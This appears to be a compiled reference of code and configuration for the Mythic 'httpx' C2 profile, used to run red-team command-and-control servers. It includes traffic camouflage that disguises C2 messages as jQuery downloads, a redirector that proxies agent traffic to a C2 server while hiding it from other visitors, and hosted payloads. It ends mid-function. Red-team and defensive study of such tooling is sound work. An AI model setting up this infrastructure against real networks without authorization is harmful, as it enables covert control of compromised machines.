### HTTPX Server Initialization (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt The main Go program for initializing and starting the HTTPX webserver. It loads server and agent configurations, iterates through defined instances, initializes a router for each, and starts the server, blocking indefinitely to keep the servers running. Error handling is included for configuration loading. ```go package main import ( "github.com/MythicMeta/MythicContainer/logging" "mythicHTTP/webserver" "os" ) func main() { // Load server configuration from config.json err := webserver.InitializeLocalConfig() if err != nil { os.Exit(1) } // Load agent configurations from agent_configs.json err = webserver.InitializeLocalAgentConfig() if err != nil { os.Exit(1) } // Start a webserver instance for each configuration for index, instance := range webserver.Config.Instances { logging.LogInfo("Initializing webserver", "instance", index+1) router := webserver.Initialize(instance) logging.LogInfo("Starting webserver", "instance", index+1) webserver.StartServer(router, instance) } // Block forever to keep servers running forever := make(chan bool) <-forever } ``` -------------------------------- ### Install HTTPX C2 Profile with Mythic CLI Source: https://context7.com/mythicc2profiles/httpx/llms.txt Commands to install the HTTPX C2 profile for the Mythic Framework using the `mythic-cli`. This includes installation from a GitHub repository (specific branch or default), from a local folder, and starting/restarting the profile and other containers. ```bash sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx # Install specific branch sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx branchname # Install from local folder sudo ./mythic-cli install folder /path/to/local/httpx # Start the profile container sudo ./mythic-cli start httpx # Or restart all containers including the new profile sudo ./mythic-cli start ``` -------------------------------- ### HTTPX C2 Profile Configuration Example (JSON) Source: https://github.com/mythicc2profiles/httpx/blob/main/documentation-c2/httpx/_index.md This JSON snippet illustrates the configuration for the HTTPX C2 profile's web server instances. It defines server headers, ports, SSL settings, and bind IP addresses. The 'debug' option is useful for troubleshooting but should be set to false for operational use. ```json { "instances": [ { "ServerHeaders": { "Server": "NetDNA-cache/2.2", "Cache-Control": "max-age=0, no-cache", "Pragma": "no-cache", "Connection": "keep-alive", "Content-Type": "application/javascript; charset=utf-8" }, "port": 80, "key_path": "privkey.pem", "cert_path": "fullchain.pem", "debug": true, "use_ssl": false, "bind_ip": "0.0.0.0" } ] } ``` -------------------------------- ### Simple HTTP Agent Configuration (JSON) Source: https://context7.com/mythicc2profiles/httpx/llms.txt An example JSON configuration for an HTTP agent profile, defining both GET and POST communication methods. It specifies HTTP verbs, URIs, client-side headers (including a User-Agent), message location and name for both client requests and server responses, and client-side message transformations (e.g., base64url encoding). ```json { "name": "HTTP-DEFAULT", "get": { "verb": "GET", "uris": ["/index"], "client": { "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" }, "message": { "location": "query", "name": "q" }, "transforms": [ { "action": "base64url", "value": "" } ] }, "server": { "headers": { "Server": "Apache", "Cache-Control": "max-age=0, no-cache" } } }, "post": { "verb": "POST", "uris": ["/data"], "client": { "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" }, "message": { "location": "body", "name": "" } }, "server": { "headers": { "Keep-Alive": "true" } } } } ``` -------------------------------- ### Handle Container Startup for httpx C2 Profile Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function, OnContainerStartFunction, is a callback executed when the Mythic container starts. It initializes a GraphQL client, fetches all 'httpx' payloads using the GetPayloadsQuery, and then iterates through each payload's C2 parameters. It specifically looks for the 'raw_c2_config' parameter, validates, and updates the configuration using validateAndUpdateConfig. Any errors encountered during payload fetching or configuration validation are logged to the event log. It ensures the internal server is restarted upon completion. ```go OnContainerStartFunction: func(message sharedStructs.ContainerOnStartMessage) sharedStructs.ContainerOnStartMessageResponse { response := sharedStructs.ContainerOnStartMessageResponse{} logging.LogInfo("called onStart function", "operation", message.OperationName) // Create GraphQL client client := mythicGraphql.NewClient("https://127.0.0.1:7443/graphql/", message.APIToken) // Fetch all httpx payloads payloads, err := GetPayloadsQuery(context.Background(), client) if err != nil { response.EventLogErrorMessage = fmt.Sprintf("Failed to fetch payloads: %v\n", err) return response } // Validate and load each payload's configuration for _, payload := range payloads.GetPayload() { for _, c2param := range payload.GetC2profileparametersinstances() { if c2param.C2profileparameter.Name == "raw_c2_config" { err = validateAndUpdateConfig(c2param.Value) if err != nil { response.EventLogErrorMessage += fmt.Sprintf( "%s (%s) - %s:\n\t%s\n", payload.Filemetum.Filename_utf8, payload.Payloadtype.Name, payload.Description, err.Error()) } } } } response.RestartInternalServer = true return response } ``` -------------------------------- ### Generate Sample C2 Agent Message (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function demonstrates how to generate a sample C2 agent message for testing. It parses agent configuration, constructs an HTTP GET request based on agent variations, applies client-side transformations, and simulates server responses. It requires a 'raw_c2_config' file and callback domains. ```go SampleMessageFunction: func(message c2structs.C2SampleMessageMessage) c2structs.C2SampleMessageResponse { response := c2structs.C2SampleMessageResponse{Success: true, Message: "\n"} // Parse configuration agentConfigFileID, _ := message.GetFileArg("raw_c2_config") agentConfigContents, _ := mythicrpc.SendMythicRPCFileGetContent( mythicrpc.MythicRPCFileGetContentMessage{AgentFileID: agentConfigFileID}) agentVariation := AgentVariations{} json.Unmarshal(agentConfigContents.Content, &agentVariation) domains, _ := message.GetArrayArg("callback_domains") if len(domains) == 0 { response.Success = false response.Error = "No callback domains specified" return response } // Sample agent message data sampleGetMessage := "YmRhZWMyNzgtYjA3Ny00YTYwLWJiOTgtNDgyOTY3NzRiZTk5..." // Apply client transforms to sample message agentMessageTransformed, err := transformMessageToClientRequest( []byte(sampleGetMessage), agentVariation.Get) if err != nil { response.Success = false response.Error = fmt.Sprintf("Error transforming message: %v\n", err) return response } // Create HTTP GET request reqGet, _ := http.NewRequest(agentVariation.Get.Verb, domains[0]+agentVariation.Get.URIs[0], nil) q := reqGet.URL.Query() // Add message based on location switch agentVariation.Get.Client.Message.Location { case "cookie": reqGet.AddCookie(&http.Cookie{ Name: agentVariation.Get.Client.Message.Name, Value: string(agentMessageTransformed), }) case "query": q.Add(agentVariation.Get.Client.Message.Name, string(agentMessageTransformed)) case "header": reqGet.Header.Set(agentVariation.Get.Client.Message.Name, string(agentMessageTransformed)) } // Add client headers for key, val := range agentVariation.Get.Client.Headers { if key == "Host" { reqGet.Host = val } else if key != "Content-Length" { reqGet.Header.Set(key, val) } } // Add query parameters for key, val := range agentVariation.Get.Client.Parameters { q.Add(key, val) } reqGet.URL.RawQuery = q.Encode() // Dump request dump, _ := httputil.DumpRequest(reqGet, true) response.Message += "GET Variation Client Message:\n" + fmt.Sprintf("%s\n\n", dump) // Generate server response serverResp := &http.Response{ StatusCode: 200, Header: http.Header{}, } for key, val := range agentVariation.Get.Server.Headers { serverResp.Header.Set(key, val) } // Apply server transforms agentMessage, _ := transformMessageFromServer( []byte(sampleGetMessage), agentVariation.Get) serverResp.Body = io.NopCloser(bytes.NewBuffer(agentMessage)) serverResp.ContentLength = int64(len(agentMessage)) dump, _ = httputil.DumpResponse(serverResp, true) response.Message += "GET Variation Server Response:\n" + fmt.Sprintf("%s\n\n", dump) return response } ``` -------------------------------- ### GitHub Actions CI/CD for Docker Image (YAML) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This GitHub Actions workflow automates the building and pushing of the HTTPX Docker image to GitHub Container Registry (ghcr.io). It is triggered on push events to the 'main' or 'Mythic3.3' branches, and on tags starting with 'v'. The workflow checks out code, sets up Docker Buildx, logs into ghcr.io, and then builds and pushes the image for both amd64 and arm64 platforms, tagging it with 'latest' and the Git commit SHA. ```yaml name: Build and Push Docker Image on: push: branches: - main - Mythic3.3 tags: - "v*" jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v2 - name: Login to GitHub Container Registry uses: docker/login-action@v2 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Build and push uses: docker/build-push-action@v4 with: context: ./C2_Profiles/httpx file: ./C2_Profiles/httpx/.docker/Dockerfile platforms: linux/amd64,linux/arm64 push: true tags: | ghcr.io/mythicc2profiles/httpx:latest ghcr.io/mythicc2profiles/httpx:${{ github.sha }} ``` -------------------------------- ### Advanced Agent Configuration with Transforms (JSON) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This endpoint demonstrates advanced agent configuration using JSON, including client and server-side transformations for GET and POST requests. ```APIDOC ## GET /jquery-3.3.1.min.js ### Description Retrieves the jQuery 3.3.1 minified JavaScript file with client and server-side transformations applied. ### Method GET ### Endpoint /jquery-3.3.1.min.js ### Parameters #### Path Parameters None #### Query Parameters None #### Request Body None ### Request Example ```json { "__cfduid": "example_cookie_value" } ``` ### Response #### Success Response (200) - **Content** (string) - The transformed jQuery JavaScript content. #### Response Example ```json "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n// Minified jQuery code...\n/* End of library */" ``` ## POST /jquery-3.3.2.min.js ### Description Submits data for processing and retrieves a transformed jQuery 3.3.2 minified JavaScript file. ### Method POST ### Endpoint /jquery-3.3.2.min.js ### Parameters #### Path Parameters None #### Query Parameters None #### Request Body - **data** (string) - The data to be processed and transformed. ### Request Example ```json { "data": "some_base64_encoded_data" } ``` ### Response #### Success Response (200) - **Content** (string) - The transformed jQuery JavaScript content. #### Response Example ```json "/*! jQuery v3.3.2 | (c) JS Foundation and other contributors | jquery.org/license */\n// Minified jQuery code...\n/* End of library */" ``` ``` -------------------------------- ### Multi-Instance HTTPX Server Configuration (JSON) Source: https://context7.com/mythicc2profiles/httpx/llms.txt A JSON configuration for multiple instances of the HTTPX C2 server, allowing it to listen on different ports and with different SSL settings. This example shows one instance on port 80 (non-SSL) and another on port 443 (SSL) with specified certificate paths and a pre-configured file payload. ```json { "instances": [ { "port": 80, "debug": false, "use_ssl": false, "bind_ip": "0.0.0.0" }, { "port": 443, "key_path": "privkey.pem", "cert_path": "fullchain.pem", "debug": true, "use_ssl": true, "payloads": { "/downloads/update.exe": "file-uuid-here" }, "bind_ip": "0.0.0.0" } ] } ``` -------------------------------- ### Go XOR Message Transform Source: https://context7.com/mythicc2profiles/httpx/llms.txt Provides XOR encryption and decryption functions in Go. The `transformXor` function performs XOR encryption using a provided key, and `transformXorReverse` uses the same logic for decryption, as XOR is a reversible operation. Example usage demonstrates encrypting and decrypting a byte slice. ```go // XOR encryption with key func transformXor(prev []byte, value string) ([]byte, error) { output := make([]byte, len(prev)) for i := 0; i < len(prev); i++ { output[i] = prev[i] ^ value[i%len(value)] } return output, nil } // XOR is reversible - same function for both directions func transformXorReverse(prev []byte, value string) ([]byte, error) { return transformXor(prev, value) } // Example usage: // message := []byte("Secret data") // key := "mykey" // encrypted, _ := transformXor(message, key) // decrypted, _ := transformXorReverse(encrypted, key) // Result: decrypted == message ``` -------------------------------- ### Configure C2 Traffic Redirection (.htaccess) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This .htaccess configuration uses Apache's RewriteEngine to manage Command and Control (C2) GET and POST traffic. It redirects specified URIs and User-Agents to a C2 server while redirecting all other traffic to a fallback URL. This is crucial for simulating legitimate traffic patterns. ```apache RewriteEngine On ## C2 GET Traffic RewriteCond %{REQUEST_METHOD} ^(GET) [NC] RewriteCond %{REQUEST_URI} ^(` + geturisString + `)$ RewriteCond %{HTTP_USER_AGENT} "` + getUAString + `" RewriteRule ^.*$ "https://C2_SERVER_HERE:443%{REQUEST_URI}" [P,L] ## C2 POST Traffic RewriteCond %{REQUEST_METHOD} ^(POST) [NC] RewriteCond %{REQUEST_URI} ^(` + posturisString + `)$ RewriteCond %{HTTP_USER_AGENT} "` + postUAString + `" RewriteRule ^.*$ "https://C2_SERVER_HERE:443%{REQUEST_URI}" [P,L] ## Redirect all other traffic RewriteRule ^.*$ https://redirect.com/? [L,R=302] ``` -------------------------------- ### Generate Redirector Rules for Apache mod_rewrite (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function, GetRedirectorRulesFunction, generates Apache mod_rewrite rules for redirectors. It parses an agent configuration file to extract User-Agent strings and URIs for both GET and POST requests. These details are then used to construct Apache rewrite rules, including escaping special characters and handling SSL configurations. It also incorporates logic for rewriting requests to the C2 server. Dependencies include 'c2structs' and 'mythicrpc'. ```go GetRedirectorRulesFunction: func(message c2structs.C2GetRedirectorRuleMessage) c2structs.C2GetRedirectorRuleMessageResponse { response := c2structs.C2GetRedirectorRuleMessageResponse{ Success: true, Message: "Generating Apache mod_rewrite rules...\n", } // Parse agent configuration agentConfigFileID, err := message.GetFileArg("raw_c2_config") if err != nil { response.Success = false response.Error += fmt.Sprintf("Error getting agent_config: %v\n", err) return response } agentConfigContents, err := mythicrpc.SendMythicRPCFileGetContent( mythicrpc.MythicRPCFileGetContentMessage{AgentFileID: agentConfigFileID}) agentVariation := AgentVariations{} json.Unmarshal(agentConfigContents.Content, &agentVariation) // Extract User-Agent strings getUA := agentVariation.Get.Client.Headers["User-Agent"] postUA := agentVariation.Post.Client.Headers["User-Agent"] // Escape parentheses for mod_rewrite getUAString := strings.ReplaceAll(getUA, "(", "\\(") getUAString = strings.ReplaceAll(getUAString, ")", "\\)") postUAString := strings.ReplaceAll(postUA, "(", "\\(") postUAString = strings.ReplaceAll(postUAString, ")", "\\)") // Create URI patterns with wildcards for parameters geturisString := strings.Join(agentVariation.Get.URIs, ".*|") + ".*" posturisString := strings.Join(agentVariation.Post.URIs, ".*|") + ".*" // Generate .htaccess rules currentConfig, _ := getC2JsonConfig() c2RewriteOutput := []string{} for _, instance := range currentConfig.Instances { if instance.UseSSL { serverURL := fmt.Sprintf("https://C2_SERVER_HERE:%d", instance.Port) c2RewriteOutput = append(c2RewriteOutput, fmt.Sprintf("RewriteRule ^.*$ \"%s%%{REQUEST_URI}\" [P,L]", serverURL)) } else { serverURL := fmt.Sprintf("http://C2_SERVER_HERE:%d", instance.Port) c2RewriteOutput = append(c2RewriteOutput, fmt.Sprintf("RewriteRule ^.*$ \"%s%%{REQUEST_URI}\" [P,L]", serverURL)) } } // Build complete .htaccess file htaccess := ` ######################################## ``` -------------------------------- ### Initialize httpx C2 Profile and Mythic Container Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go code snippet demonstrates the main entry point for initializing the httpx C2 profile and the Mythic container. The main function calls httpfunctions.Initialize() to register the C2 definition and parameters, then uses MythicContainer.StartAndRunForever to initiate Mythic services. The Initialize function within the c2functions package is responsible for registering the 'httpx' C2 profile and its associated parameters with the Mythic framework. ```go package main import ( httpfunctions "MyContainer/httpx/c2functions" "github.com/MythicMeta/MythicContainer" ) func main() { // Initialize C2 profile and parameters httpfunctions.Initialize() // Start Mythic container services MythicContainer.StartAndRunForever([]MythicContainer.MythicServices{ MythicContainer.MythicServiceC2, }) } // Initialize function in c2functions package func Initialize() { // Register C2 profile definition c2structs.AllC2Data.Get("httpx").AddC2Definition(httpxc2definition) // Register C2 parameters c2structs.AllC2Data.Get("httpx").AddParameters(httpxc2parameters) } ``` -------------------------------- ### Build HTTPX C2 Profile from Source Source: https://context7.com/mythicc2profiles/httpx/llms.txt Instructions for building the HTTPX C2 profile from its source code using the provided `Makefile` or manual Go build commands. This involves navigating to the profile directory and executing build commands to compile the webserver and the Mythic integration components. ```makefile # Using the provided Makefile make build # Manual build process cd C2_Profiles/httpx CGO_ENABLED=0 go build -o main . cd httpx/c2_code CGO_ENABLED=0 go build -o mythic_httpx_server . # Run the webserver make run ``` -------------------------------- ### Dockerfile for HTTPX C2 Profile (Dockerfile) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Dockerfile defines the build and runtime stages for the HTTPX C2 profile. It uses a multi-stage build process, first compiling the C2 profile service and webserver in a Go environment, then copying the necessary binaries and configuration files to a minimal Alpine Linux image for runtime. This ensures a small and efficient container image. ```dockerfile FROM golang:1.23 AS builder WORKDIR /build # Copy go modules COPY go.mod go.sum ./ RUN go mod download # Copy source code COPY . . # Build C2 profile service RUN CGO_ENABLED=0 go build -o mythic_httpx_c2 . # Build webserver WORKDIR /build/httpx/c2_code RUN CGO_ENABLED=0 go build -o mythic_httpx_server . # Runtime stage FROM alpine:latest RUN apk --no-cache add ca-certificates tzdata WORKDIR / # Copy binaries COPY --from=builder /build/mythic_httpx_c2 / COPY --from=builder /build/httpx/c2_code/mythic_httpx_server /httpx/c2_code/ COPY --from=builder /build/httpx/c2_code/config.json /httpx/c2_code/ COPY --from=builder /build/httpx/c2_code/agent_configs.json /httpx/c2_code/ EXPOSE 80 443 CMD ["/mythic_httpx_c2"] ``` -------------------------------- ### Generate IOCs from Agent Config and Callback Domains (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function, GetIOCFunction, generates Indicators of Compromise (IOCs) primarily in the form of URLs. It retrieves an agent configuration file, parses it to understand agent variations and client parameters, and then combines this with provided callback domains to create potential IOCs. Dependencies include 'c2structs' for message types and 'mythicrpc' for interacting with the Mythic framework. ```go GetIOCFunction: func(message c2structs.C2GetIOCMessage) c2structs.C2GetIOCMessageResponse { response := c2structs.C2GetIOCMessageResponse{Success: true} // Get agent configuration agentConfigFileID, err := message.GetFileArg("raw_c2_config") if err != nil { response.Success = false response.Error += fmt.Sprintf("Error getting agent_config: %v\n", err) return response } // Fetch and parse configuration agentConfigContents, err := mythicrpc.SendMythicRPCFileGetContent( mythicrpc.MythicRPCFileGetContentMessage{AgentFileID: agentConfigFileID}) if err != nil { response.Success = false response.Error += fmt.Sprintf("Error getting agent_config: %v\n", err) return response } agentVariation := AgentVariations{} err = json.Unmarshal(agentConfigContents.Content, &agentVariation) if err != nil { err2 := toml.Unmarshal(agentConfigContents.Content, &agentVariation) if err2 != nil { response.Success = false response.Error += fmt.Sprintf("Error parsing: %v\n%v\n", err, err2) return response } } // Get callback domains domains, err := message.GetArrayArg("callback_domains") if err != nil { response.Success = false response.Error += fmt.Sprintf("Error getting domains: %v\n", err) return response } // Generate IOCs for all domain/URI combinations for _, domain := range domains { for _, uri := range agentVariation.Get.URIs { queryParamString := "" queryParams := []string{} // Add static query parameters for paramKey, paramVal := range agentVariation.Get.Client.Parameters { queryParams = append(queryParams, fmt.Sprintf("%s=%s", paramKey, paramVal)) } // Add message location query parameter if agentVariation.Get.Client.Message.Location == "query" { queryParams = append(queryParams, fmt.Sprintf("%s=", agentVariation.Get.Client.Message.Name)) } if len(queryParams) > 0 { queryParamString = fmt.Sprintf("?%s", strings.Join(queryParams, "&")) } response.IOCs = append(response.IOCs, c2structs.IOC{ Type: "url", IOC: fmt.Sprintf("%s%s%s", domain, uri, queryParamString), }) } } return response } ``` -------------------------------- ### Go: NetBIOS Encoding and Decoding Source: https://context7.com/mythicc2profiles/httpx/llms.txt Implements NetBIOS encoding and decoding for byte slices. It supports both lowercase ('a') and uppercase ('A') bases. Input is a byte slice and an unused string, output is a transformed byte slice. Errors are returned if input is invalid. ```go // NetBIOS encoding (lowercase 'a' base) // Splits each byte into nibbles and adds 0x61 ('a') func transformNetbios(prev []byte, value string) ([]byte, error) { output := make([]byte, len(prev)*2) for i := 0; i < len(prev); i++ { right := (prev[i] & 0x0F) + 0x61 left := ((prev[i] & 0xF0) >> 4) + 0x61 output[i*2] = left output[(i*2)+1] = right } return output, nil } // NetBIOS decoding func transformNetbiosReverse(prev []byte, value string) ([]byte, error) { output := make([]byte, len(prev)/2) for i := 0; i < len(output); i++ { left := (prev[i*2] - 0x61) << 4 right := prev[i*2+1] - 0x61 output[i] = left | right } return output, nil } // NetBIOS uppercase (uppercase 'A' base) func transformNetbiosu(prev []byte, value string) ([]byte, error) { output := make([]byte, len(prev)*2) for i := 0; i < len(prev); i++ { right := (prev[i] & 0x0F) + 0x41 left := ((prev[i] & 0xF0) >> 4) + 0x41 output[i*2] = left output[(i*2)+1] = right } return output, nil } // NetBIOS uppercase decoding func transformNetbiosuReverse(prev []byte, value string) ([]byte, error) { output := make([]byte, len(prev)/2) for i := 0; i < len(output); i++ { left := (prev[i*2] - 0x41) << 4 right := prev[i*2+1] - 0x41 output[i] = left | right } return output, nil } // Example: // data := []byte{0xAB} // encoded, _ := transformNetbios(data, "") // Result: encoded == []byte{0x6B, 0x6C} ('k', 'l') ``` -------------------------------- ### Configure Host Files for httpx C2 Profile Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function, HostFileFunction, manages the configuration of host files for the httpx C2 profile. It loads the current configuration, updates file hosting entries (adding or removing), and saves the modified configuration. It expects a c2structs.C2HostFileMessage as input and returns a c2structs.C2HostFileMessageResponse indicating success or failure. It depends on getC2JsonConfig and writeC2JsonConfig for configuration persistence. ```go HostFileFunction: func(message c2structs.C2HostFileMessage) c2structs.C2HostFileMessageResponse { // Load current configuration config, err := getC2JsonConfig() if err != nil { return c2structs.C2HostFileMessageResponse{ Success: false, Error: err.Error(), } } // Update all instances for i := range config.Instances { if config.Instances[i].PayloadHostPaths == nil { config.Instances[i].PayloadHostPaths = make(map[string]string) } if message.Remove { // Remove file hosting entry for j := range config.Instances[i].PayloadHostPaths { if config.Instances[i].PayloadHostPaths[j] == message.FileUUID { delete(config.Instances[i].PayloadHostPaths, j) } } } else { // Add file hosting entry config.Instances[i].PayloadHostPaths[message.HostURL] = message.FileUUID } } // Save updated configuration err = writeC2JsonConfig(config) if err != nil { return c2structs.C2HostFileMessageResponse{ Success: false, Error: err.Error(), } } return c2structs.C2HostFileMessageResponse{ Success: true, RestartInternalServer: true, } } // Example usage in config.json after hosting files: // { // "instances": [{ // "port": 443, // "use_ssl": true, // "payloads": { // "/downloads/agent.exe": "uuid-of-payload-file", // "/updates/patch.bin": "uuid-of-another-file" // } // }] // } ``` -------------------------------- ### Basic HTTPX Server Configuration (JSON) Source: https://context7.com/mythicc2profiles/httpx/llms.txt A basic JSON configuration for a single instance of the HTTPX C2 server. It specifies the listening port, SSL certificate paths (if applicable), debug mode, whether to use SSL, and the bind IP address. The `payloads` field is an empty object, indicating no specific file payloads are pre-configured. ```json { "instances": [ { "port": 82, "key_path": "privkey.pem", "cert_path": "fullchain.pem", "debug": false, "use_ssl": false, "payloads": {}, "bind_ip": "0.0.0.0" } ] } ``` -------------------------------- ### C2 Profile Configuration Check Callback (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function serves as a callback for configuration checks within the C2 profile. It receives a `C2ConfigCheckMessage`, extracts a file argument for the raw C2 configuration, and then calls the `validateAndUpdateConfig` function to validate and update the configuration. It returns a `C2ConfigCheckMessageResponse` indicating success or failure, and potentially triggers an internal server restart. ```go ConfigCheckFunction: func(message c2structs.C2ConfigCheckMessage) c2structs.C2ConfigCheckMessageResponse { response := c2structs.C2ConfigCheckMessageResponse{ Success: true, Message: fmt.Sprintf("Called config check\n%v", message), } // Get agent configuration file ID agentConfigFileID, err := message.GetFileArg("raw_c2_config") if err != nil { response.Success = false response.Error += fmt.Sprintf("Error getting agent_config: %v\n", err) return response } // Validate and update configuration err = validateAndUpdateConfig(agentConfigFileID) if err != nil { response.Success = false response.Error = err.Error() return response } response.Message = "Everything matches and looks good!" response.RestartInternalServer = true return response } ``` -------------------------------- ### Create GraphQL Client with Authentication (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function creates a new GraphQL client configured with a specific API token for authentication. It sets up an HTTP transport that adds an 'apitoken' header to outgoing requests and bypasses TLS certificate verification. This is useful for interacting with GraphQL APIs that require token-based authentication. ```go package mythicGraphql import ( "crypto/tls" "net/http" "github.com/Khan/genqlient/graphql" ) // Create new GraphQL client with authentication func NewClient(url string, apiToken string) graphql.Client { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } httpClient := &http.Client{Transport: tr} // Add authentication header httpClient = &http.Client{ Transport: &authedTransport{ wrapped: tr, token: apiToken, }, } return graphql.NewClient(url, httpClient) } type authedTransport struct { wrapped http.RoundTripper token string } func (t *authedTransport) RoundTrip(req *http.Request) (*http.Response, error) { req.Header.Set("apitoken", t.token) return t.wrapped.RoundTrip(req) } // Usage example: // client := mythicGraphql.NewClient("https://127.0.0.1:7443/graphql/", token) // payloads, err := GetPayloadsQuery(context.Background(), client) ``` -------------------------------- ### Validate and Update Agent Configuration (Go) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This Go function fetches an agent configuration file, parses it as either JSON or TOML, validates required fields and various settings (message locations, transform actions, URIs), checks for URI conflicts with existing configurations, and finally saves the validated configuration. It depends on external packages like `mythicrpc`, `encoding/json`, `BurntSushi/toml`, and utilizes helper functions like `getAgentJsonConfig` and `writeAgentJsonConfig`. ```go func validateAndUpdateConfig(agentConfigFileID string) error { // Fetch configuration file from Mythic agentConfigContents, err := mythicrpc.SendMythicRPCFileGetContent( mythicrpc.MythicRPCFileGetContentMessage{ AgentFileID: agentConfigFileID, }) if err != nil { return errors.New(fmt.Sprintf("Error getting agent_config: %v\n", err)) } if !agentConfigContents.Success { return errors.New(fmt.Sprintf("Error getting agent_config: %s\n", agentConfigContents.Error)) } // Parse JSON or TOML agentVariation := AgentVariations{} err = json.Unmarshal(agentConfigContents.Content, &agentVariation) if err != nil { err2 := toml.Unmarshal(agentConfigContents.Content, &agentVariation) if err2 != nil { return errors.New(fmt.Sprintf("Error parsing agent config: %v\n%v\n", err, err2)) } } // Validate required fields if agentVariation.Name == "" { return errors.New("Missing name for agent variation") } // Validate message locations validLocations := []string{"cookie", "query", "header", "body", ""} if !slices.Contains(validLocations, agentVariation.Get.Client.Message.Location) { return errors.New("Invalid message location for GET") } // Validate location requires name (except body) if !slices.Contains([]string{"body", ""}, agentVariation.Get.Client.Message.Location) { if agentVariation.Get.Client.Message.Name == "" { return errors.New("Missing name for agent GET variation location") } } // Validate transform actions validActions := []string{"base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append"} for i := range agentVariation.Get.Client.Transforms { if !slices.Contains(validActions, agentVariation.Get.Client.Transforms[i].Action) { return errors.New(fmt.Sprintf("invalid client GET transform: %s\n", agentVariation.Get.Client.Transforms[i].Action)) } } // Validate URIs present if len(agentVariation.Get.URIs) == 0 { return errors.New("Missing URIs array for agent GET variation") } if len(agentVariation.Post.URIs) == 0 { return errors.New("Missing URIs array for agent POST variation") } // Check for URI conflicts with existing configs currentAgentConfig, err := getAgentJsonConfig() if err != nil { return errors.New(fmt.Sprintf("Error getting agent_configs.json: %v\n", err)) } for name := range currentAgentConfig { if name == agentVariation.Name { continue // Allow overriding own config } for _, uri := range agentVariation.Get.URIs { if slices.Contains(currentAgentConfig[name].Get.URIs, uri) { return errors.New(fmt.Sprintf( "Config '%s' already uses Get URI '%s'! Aborting!", name, uri)) } } } // Save validated configuration currentAgentConfig[agentVariation.Name] = agentVariation err = writeAgentJsonConfig(currentAgentConfig) if err != nil { return errors.New(fmt.Sprintf("Error writing agent_configs.json: %v\n", err)) } return nil } ``` -------------------------------- ### Apply Server-to-Client Message Transforms in Go Source: https://context7.com/mythicc2profiles/httpx/llms.txt Applies a series of server-to-client transformations to a message based on the provided AgentVariationConfig. It iterates through the configured transforms in forward order, supporting actions like base64, base64url, xor, prepend, append, netbios, and netbiosu. Errors are returned for unknown actions or transform failures. ```go // Apply server-to-client transforms func transformMessageFromServer(message []byte, variation AgentVariationConfig) ([]byte, error) { result := message var err error // Apply transforms in forward order for i := 0; i < len(variation.Server.Transforms); i++ { switch strings.ToLower(variation.Server.Transforms[i].Action) { case "base64": result, err = transformBase64(result, variation.Server.Transforms[i].Value) case "base64url": result, err = transformBase64URL(result, variation.Server.Transforms[i].Value) case "xor": result, err = transformXor(result, variation.Server.Transforms[i].Value) case "prepend": result, err = transformPrepend(result, variation.Server.Transforms[i].Value) case "append": result, err = transformAppend(result, variation.Server.Transforms[i].Value) case "netbios": result, err = transformNetbios(result, variation.Server.Transforms[i].Value) case "netbiosu": result, err = transformNetbiosu(result, variation.Server.Transforms[i].Value) default: return nil, errors.New(fmt.Sprintf("unknown action: %s", variation.Server.Transforms[i].Action)) } if err != nil { return nil, err } } return result, nil } ``` -------------------------------- ### Agent Configuration with Domain-Specific Headers (TOML) Source: https://context7.com/mythicc2profiles/httpx/llms.txt This endpoint showcases agent configuration using TOML, including domain-specific header overrides for enhanced control over requests. ```APIDOC ## GET /my/uri/path ### Description Performs a GET request to a specified URI with custom client headers and domain-specific overrides. ### Method GET ### Endpoint /my/uri/path ### Parameters #### Path Parameters None #### Query Parameters - **MyKey** (string) - Optional - A custom key-value pair for the request. #### Request Body None ### Request Example ```json { "User-Agent": "CustomAgent/1.0", "Authorization": "Bearer token123" } ``` ### Response #### Success Response (200) - **Content** (string) - The response content from the server. #### Response Example ```json "Server response data" ``` ## POST /my/other/path ### Description Performs a POST request to a specified URI with client-side transformations. ### Method POST ### Endpoint /my/other/path ### Parameters #### Path Parameters None #### Query Parameters None #### Request Body - **data** (string) - The data to be sent in the request body, potentially transformed. ### Request Example ```json { "data": "transformed_data" } ``` ### Response #### Success Response (200) - **Content** (string) - The response content from the server. #### Response Example ```json "POST request response data" ``` ``` -------------------------------- ### Apply Client-to-Server Reverse Message Transforms in Go Source: https://context7.com/mythicc2profiles/httpx/llms.txt Applies a series of client-to-server reverse transformations to a message based on the provided AgentVariationConfig. It iterates through the configured transforms in reverse order, supporting reversal of actions like base64, base64url, xor, prepend, append, netbios, and netbiosu. Errors are returned for unknown actions or transform failures. ```go // Apply client-to-server reverse transforms func transformMessageFromClient(message []byte, variation AgentVariationConfig) ([]byte, error) { result := message var err error // Apply transforms in REVERSE order for i := len(variation.Client.Transforms) - 1; i >= 0; i-- { switch strings.ToLower(variation.Client.Transforms[i].Action) { case "base64": result, err = transformBase64Reverse(result, variation.Client.Transforms[i].Value) case "base64url": result, err = transformBase64URLReverse(result, variation.Client.Transforms[i].Value) case "xor": result, err = transformXorReverse(result, 